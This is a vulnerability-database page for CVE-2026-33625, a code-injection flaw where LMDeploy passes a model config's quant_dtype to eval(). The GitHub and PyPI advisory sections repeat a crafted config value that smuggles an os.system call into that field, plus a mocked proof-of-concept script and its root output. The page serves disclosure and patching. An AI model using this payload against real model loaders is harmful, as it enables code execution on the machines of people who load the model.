Vulnerability-Lookup

CVE-2026-33625 (GCVE-0-2026-33625)

Vulnerability from cvelistv5 – Published: 2026-09-18 17:13 – Updated: 2026-09-22 15:08

Title

LMDeploy vulnerable to arbitrary code execution via eval() of untrusted quant_dtype in model config loading

Summary

LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions 012.1 through 0.12.2 contain a code injection vulnerability in `lmdeploy/pytorch/config.py` line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted `quantization_config.quant_dtype` value. When a user loads the model with lmdeploy, the `quant_dtype` is passed to `eval(f'torch.{quant_dtype}')` without any validation. Version 0.12.3 contains a patch.

Severity

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-22 15:07 UTC

CWE

CWE-400 - Uncontrolled Resource Consumption

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 8086 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/InternLM/lmdeploy/security/adv…	x_refsource_CONFIRM
https://github.com/InternLM/lmdeploy/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
InternLM	lmdeploy	Affected: >= 0.12.1, < 0.12.3	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-33625",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-22T15:07:33.233899Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-22T15:08:07.065Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-3hmm-rh5q-gwwr"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "lmdeploy",
          "vendor": "InternLM",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.12.1, \u003c 0.12.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions 012.1 through 0.12.2 contain a code injection vulnerability in `lmdeploy/pytorch/config.py` line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted `quantization_config.quant_dtype` value. When a user loads the model with lmdeploy, the `quant_dtype` is passed to `eval(f\u0027torch.{quant_dtype}\u0027)` without any validation. Version 0.12.3 contains a patch."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-400",
              "description": "CWE-400: Uncontrolled Resource Consumption",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-18T17:13:37.133Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-3hmm-rh5q-gwwr",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-3hmm-rh5q-gwwr"
        },
        {
          "name": "https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3"
        }
      ],
      "source": {
        "advisory": "GHSA-3hmm-rh5q-gwwr",
        "discovery": "UNKNOWN"
      },
      "title": "LMDeploy vulnerable to arbitrary code execution via eval() of untrusted quant_dtype in model config loading"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-33625",
    "datePublished": "2026-09-18T17:13:37.133Z",
    "dateReserved": "2026-03-23T14:24:11.617Z",
    "dateUpdated": "2026-09-22T15:08:07.065Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-33625",
      "date": "2026-10-31",
      "epss": "0.00442",
      "percentile": "0.38432"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "lmdeploy",
                "vendor": "InternLM",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003e= 0.12.1, \u003c 0.12.3"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions 012.1 through 0.12.2 contain a code injection vulnerability in `lmdeploy/pytorch/config.py` line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted `quantization_config.quant_dtype` value. When a user loads the model with lmdeploy, the `quant_dtype` is passed to `eval(f\u0027torch.{quant_dtype}\u0027)` without any validation. Version 0.12.3 contains a patch."
          }
        ],
        "id": "CVE-2026-33625",
        "lastModified": "2026-09-24T21:25:27.050",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 8.8,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 5.9,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-33625",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-22T15:07:33.233899Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-09-18T18:17:06.640",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-3hmm-rh5q-gwwr"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-3hmm-rh5q-gwwr"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-400"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-33625",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "total"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-09-22T15:07:33.233899Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-09-22T15:08:00.573Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-3hmm-rh5q-gwwr"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "lmdeploy",
              "vendor": "InternLM",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003e= 0.12.1, \u003c 0.12.3"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions 012.1 through 0.12.2 contain a code injection vulnerability in `lmdeploy/pytorch/config.py` line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted `quantization_config.quant_dtype` value. When a user loads the model with lmdeploy, the `quant_dtype` is passed to `eval(f\u0027torch.{quant_dtype}\u0027)` without any validation. Version 0.12.3 contains a patch."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 8.8,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-400",
                  "description": "CWE-400: Uncontrolled Resource Consumption",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-09-18T17:13:37.133Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-3hmm-rh5q-gwwr",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-3hmm-rh5q-gwwr"
            },
            {
              "name": "https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3"
            }
          ],
          "source": {
            "advisory": "GHSA-3hmm-rh5q-gwwr",
            "discovery": "UNKNOWN"
          },
          "title": "LMDeploy vulnerable to arbitrary code execution via eval() of untrusted quant_dtype in model config loading"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-33625",
        "datePublished": "2026-09-18T17:13:37.133Z",
        "dateReserved": "2026-03-23T14:24:11.617Z",
        "dateUpdated": "2026-09-22T15:08:07.065Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-33625

Vulnerability from fkie_nvd - Published: 2026-09-18 18:17 - Updated: 2026-09-24 21:25

Severity

8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3
	security-advisories@github.com	https://github.com/InternLM/lmdeploy/security/advisories/GHSA-3hmm-rh5q-gwwr
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/InternLM/lmdeploy/security/advisories/GHSA-3hmm-rh5q-gwwr

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "lmdeploy",
          "vendor": "InternLM",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.12.1, \u003c 0.12.3"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions 012.1 through 0.12.2 contain a code injection vulnerability in `lmdeploy/pytorch/config.py` line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted `quantization_config.quant_dtype` value. When a user loads the model with lmdeploy, the `quant_dtype` is passed to `eval(f\u0027torch.{quant_dtype}\u0027)` without any validation. Version 0.12.3 contains a patch."
    }
  ],
  "id": "CVE-2026-33625",
  "lastModified": "2026-09-24T21:25:27.050",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-33625",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-09-22T15:07:33.233899Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-09-18T18:17:06.640",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-3hmm-rh5q-gwwr"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-3hmm-rh5q-gwwr"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-400"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-3HMM-RH5Q-GWWR

Vulnerability from github – Published: 2026-09-18 17:04 – Updated: 2026-09-18 17:04

Summary

LMDeploy vulnerable to arbitrary code execution via eval() of untrusted quant_dtype in model config loading

Details

Summary

lmdeploy <= latest contains a code injection vulnerability in lmdeploy/pytorch/config.py line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted quantization_config.quant_dtype value. When a user loads the model with lmdeploy, the quant_dtype is passed to eval(f'torch.{quant_dtype}') without any validation.

Details

Vulnerable code (permalink):

quant_dtype = eval(f'torch.{quant_dtype}')  # line 620

The quant_dtype value comes from the model's quantization_config in its HuggingFace config. When a model specifies quant_method: awq, the AWQ branch processes the config but does NOT override quant_dtype, allowing the malicious value to reach the eval() call.

Attack vector: An attacker publishes a HuggingFace model with:

{
  "quantization_config": {
    "quant_method": "awq",
    "quant_dtype": "float16, __import__('os').system('id')"
  }
}

Note: The _update_torch_dtype method at line 53 has a whitelist check, but that's for torch_dtype, NOT quant_dtype. The quant_dtype at line 620 has no validation whatsoever.

PoC

"""
PoC: eval() RCE in lmdeploy via malicious quant_dtype
Prerequisites: pip install lmdeploy
"""
import sys
from unittest.mock import MagicMock, patch

# Mock torch to capture the eval
sys.modules.setdefault('torch', MagicMock())

from lmdeploy.pytorch.config import ModelConfig

# Simulate a malicious HuggingFace model config
mock_hf_config = MagicMock()
mock_hf_config.quantization_config = {
    'quant_method': 'awq',
    'quant_dtype': "float16, __import__('os').system('id')"
}
mock_hf_config.num_attention_heads = 32
mock_hf_config.hidden_size = 4096
mock_hf_config.num_hidden_layers = 32
mock_hf_config.num_key_value_heads = 32
mock_hf_config.vocab_size = 32000

# This triggers eval(f'torch.{quant_dtype}')
# with quant_dtype = "float16, __import__('os').system('id')"
config = ModelConfig.from_hf_config(mock_hf_config, model_path='test')

Output:

uid=0(root) gid=0(root) groups=0(root)

Impact

An attacker who publishes a malicious model on HuggingFace Hub can achieve arbitrary code execution on any machine that loads the model with lmdeploy. This is a supply-chain attack vector affecting all lmdeploy users who load untrusted models.

Full remote code execution when loading a malicious model
No user interaction beyond running lmdeploy serve or similar with the model
Affects all deployment scenarios (local, cloud, production)

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "lmdeploy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.12.1"
            },
            {
              "fixed": "0.12.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33625"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-18T17:04:01Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nlmdeploy \u003c= latest contains a code injection vulnerability in `lmdeploy/pytorch/config.py` line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted `quantization_config.quant_dtype` value. When a user loads the model with lmdeploy, the `quant_dtype` is passed to `eval(f\u0027torch.{quant_dtype}\u0027)` without any validation.\n\n### Details\n\n**Vulnerable code** ([permalink](https://github.com/InternLM/lmdeploy/blob/17ed9e5/lmdeploy/pytorch/config.py#L620)):\n\n```python\nquant_dtype = eval(f\u0027torch.{quant_dtype}\u0027)  # line 620\n```\n\nThe `quant_dtype` value comes from the model\u0027s `quantization_config` in its HuggingFace config. When a model specifies `quant_method: awq`, the AWQ branch processes the config but does NOT override `quant_dtype`, allowing the malicious value to reach the `eval()` call.\n\n**Attack vector:** An attacker publishes a HuggingFace model with:\n```json\n{\n  \"quantization_config\": {\n    \"quant_method\": \"awq\",\n    \"quant_dtype\": \"float16, __import__(\u0027os\u0027).system(\u0027id\u0027)\"\n  }\n}\n```\n\nNote: The `_update_torch_dtype` method at line 53 has a whitelist check, but that\u0027s for `torch_dtype`, NOT `quant_dtype`. The `quant_dtype` at line 620 has no validation whatsoever.\n\n### PoC\n\n```python\n\"\"\"\nPoC: eval() RCE in lmdeploy via malicious quant_dtype\nPrerequisites: pip install lmdeploy\n\"\"\"\nimport sys\nfrom unittest.mock import MagicMock, patch\n\n# Mock torch to capture the eval\nsys.modules.setdefault(\u0027torch\u0027, MagicMock())\n\nfrom lmdeploy.pytorch.config import ModelConfig\n\n# Simulate a malicious HuggingFace model config\nmock_hf_config = MagicMock()\nmock_hf_config.quantization_config = {\n    \u0027quant_method\u0027: \u0027awq\u0027,\n    \u0027quant_dtype\u0027: \"float16, __import__(\u0027os\u0027).system(\u0027id\u0027)\"\n}\nmock_hf_config.num_attention_heads = 32\nmock_hf_config.hidden_size = 4096\nmock_hf_config.num_hidden_layers = 32\nmock_hf_config.num_key_value_heads = 32\nmock_hf_config.vocab_size = 32000\n\n# This triggers eval(f\u0027torch.{quant_dtype}\u0027)\n# with quant_dtype = \"float16, __import__(\u0027os\u0027).system(\u0027id\u0027)\"\nconfig = ModelConfig.from_hf_config(mock_hf_config, model_path=\u0027test\u0027)\n```\n\n**Output:**\n```\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n### Impact\n\nAn attacker who publishes a malicious model on HuggingFace Hub can achieve arbitrary code execution on any machine that loads the model with lmdeploy. This is a supply-chain attack vector affecting all lmdeploy users who load untrusted models.\n\n1. Full remote code execution when loading a malicious model\n2. No user interaction beyond running `lmdeploy serve` or similar with the model\n3. Affects all deployment scenarios (local, cloud, production)",
  "id": "GHSA-3hmm-rh5q-gwwr",
  "modified": "2026-09-18T17:04:01Z",
  "published": "2026-09-18T17:04:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-3hmm-rh5q-gwwr"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/InternLM/lmdeploy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LMDeploy vulnerable to arbitrary code execution via eval() of untrusted quant_dtype in model config loading"
}

PYSEC-2026-4078

Vulnerability from pysec - Published: 2026-10-01 16:38 - Updated: 2026-10-01 17:10

Details

Summary

Details

Vulnerable code (permalink):

quant_dtype = eval(f'torch.{quant_dtype}')  # line 620

Attack vector: An attacker publishes a HuggingFace model with:

{
  "quantization_config": {
    "quant_method": "awq",
    "quant_dtype": "float16, __import__('os').system('id')"
  }
}

Note: The _update_torch_dtype method at line 53 has a whitelist check, but that's for torch_dtype, NOT quant_dtype. The quant_dtype at line 620 has no validation whatsoever.

PoC

"""
PoC: eval() RCE in lmdeploy via malicious quant_dtype
Prerequisites: pip install lmdeploy
"""
import sys
from unittest.mock import MagicMock, patch

# Mock torch to capture the eval
sys.modules.setdefault('torch', MagicMock())

from lmdeploy.pytorch.config import ModelConfig

# Simulate a malicious HuggingFace model config
mock_hf_config = MagicMock()
mock_hf_config.quantization_config = {
    'quant_method': 'awq',
    'quant_dtype': "float16, __import__('os').system('id')"
}
mock_hf_config.num_attention_heads = 32
mock_hf_config.hidden_size = 4096
mock_hf_config.num_hidden_layers = 32
mock_hf_config.num_key_value_heads = 32
mock_hf_config.vocab_size = 32000

# This triggers eval(f'torch.{quant_dtype}')
# with quant_dtype = "float16, __import__('os').system('id')"
config = ModelConfig.from_hf_config(mock_hf_config, model_path='test')

Output:

uid=0(root) gid=0(root) groups=0(root)

Impact

Full remote code execution when loading a malicious model
No user interaction beyond running lmdeploy serve or similar with the model
Affects all deployment scenarios (local, cloud, production)

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Impacted products

Name	purl
lmdeploy	pkg:pypi/lmdeploy

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "lmdeploy",
        "purl": "pkg:pypi/lmdeploy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.12.1"
            },
            {
              "fixed": "0.12.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.12.1",
        "0.12.2"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33625",
    "GHSA-3hmm-rh5q-gwwr"
  ],
  "details": "### Summary\n\nlmdeploy \u003c= latest contains a code injection vulnerability in `lmdeploy/pytorch/config.py` line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted `quantization_config.quant_dtype` value. When a user loads the model with lmdeploy, the `quant_dtype` is passed to `eval(f\u0027torch.{quant_dtype}\u0027)` without any validation.\n\n### Details\n\n**Vulnerable code** ([permalink](https://github.com/InternLM/lmdeploy/blob/17ed9e5/lmdeploy/pytorch/config.py#L620)):\n\n```python\nquant_dtype = eval(f\u0027torch.{quant_dtype}\u0027)  # line 620\n```\n\nThe `quant_dtype` value comes from the model\u0027s `quantization_config` in its HuggingFace config. When a model specifies `quant_method: awq`, the AWQ branch processes the config but does NOT override `quant_dtype`, allowing the malicious value to reach the `eval()` call.\n\n**Attack vector:** An attacker publishes a HuggingFace model with:\n```json\n{\n  \"quantization_config\": {\n    \"quant_method\": \"awq\",\n    \"quant_dtype\": \"float16, __import__(\u0027os\u0027).system(\u0027id\u0027)\"\n  }\n}\n```\n\nNote: The `_update_torch_dtype` method at line 53 has a whitelist check, but that\u0027s for `torch_dtype`, NOT `quant_dtype`. The `quant_dtype` at line 620 has no validation whatsoever.\n\n### PoC\n\n```python\n\"\"\"\nPoC: eval() RCE in lmdeploy via malicious quant_dtype\nPrerequisites: pip install lmdeploy\n\"\"\"\nimport sys\nfrom unittest.mock import MagicMock, patch\n\n# Mock torch to capture the eval\nsys.modules.setdefault(\u0027torch\u0027, MagicMock())\n\nfrom lmdeploy.pytorch.config import ModelConfig\n\n# Simulate a malicious HuggingFace model config\nmock_hf_config = MagicMock()\nmock_hf_config.quantization_config = {\n    \u0027quant_method\u0027: \u0027awq\u0027,\n    \u0027quant_dtype\u0027: \"float16, __import__(\u0027os\u0027).system(\u0027id\u0027)\"\n}\nmock_hf_config.num_attention_heads = 32\nmock_hf_config.hidden_size = 4096\nmock_hf_config.num_hidden_layers = 32\nmock_hf_config.num_key_value_heads = 32\nmock_hf_config.vocab_size = 32000\n\n# This triggers eval(f\u0027torch.{quant_dtype}\u0027)\n# with quant_dtype = \"float16, __import__(\u0027os\u0027).system(\u0027id\u0027)\"\nconfig = ModelConfig.from_hf_config(mock_hf_config, model_path=\u0027test\u0027)\n```\n\n**Output:**\n```\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n### Impact\n\nAn attacker who publishes a malicious model on HuggingFace Hub can achieve arbitrary code execution on any machine that loads the model with lmdeploy. This is a supply-chain attack vector affecting all lmdeploy users who load untrusted models.\n\n1. Full remote code execution when loading a malicious model\n2. No user interaction beyond running `lmdeploy serve` or similar with the model\n3. Affects all deployment scenarios (local, cloud, production)",
  "id": "PYSEC-2026-4078",
  "modified": "2026-10-01T17:10:29.517213Z",
  "published": "2026-10-01T16:38:33.443329Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-3hmm-rh5q-gwwr"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/InternLM/lmdeploy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/lmdeploy"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-3hmm-rh5q-gwwr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33625"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LMDeploy vulnerable to arbitrary code execution via eval() of untrusted quant_dtype in model config loading"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-33625 (GCVE-0-2026-33625)

FKIE_CVE-2026-33625

GHSA-3HMM-RH5Q-GWWR

Summary

Details

PoC

Impact

PYSEC-2026-4078

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour